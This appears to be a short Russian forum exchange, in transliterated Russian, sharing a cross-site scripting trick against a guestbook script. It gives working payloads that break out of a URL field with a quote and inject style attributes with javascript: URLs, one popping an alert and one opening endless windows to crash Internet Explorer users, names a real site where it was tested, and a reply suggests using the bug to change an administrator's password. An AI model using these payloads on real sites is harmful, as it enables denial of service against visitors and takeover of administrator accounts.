v pole prohodit " kaviuchka. znachit pischeschi tak. v pole HTML: http://www.kez.com"`=` a v tele soobscheniya pischeschi odnovremenno sledyschee: HTML: ` style=`background:url(javaSCrip t:alert(/Kez/))` A esli hotite bezchislennoe kolichestvo okoschek dati, to pischete vot tak v tele dlya messag: HTML: ` style=`background:url(javaSCrip t:for(;;)open())` I pogibaet user s IE. Testirovalosi tyt. http://www.airschool.ru/cgi-bin/gb/gb.cgi
nihera ne ponyal... kstati esli y admina pass ne nyzhdaetsya v starom passworde chtobiu izmeniti na noviui, to moscheschi emy password pomenyati cherez ty bagy kotoryiu Ya tebe dal.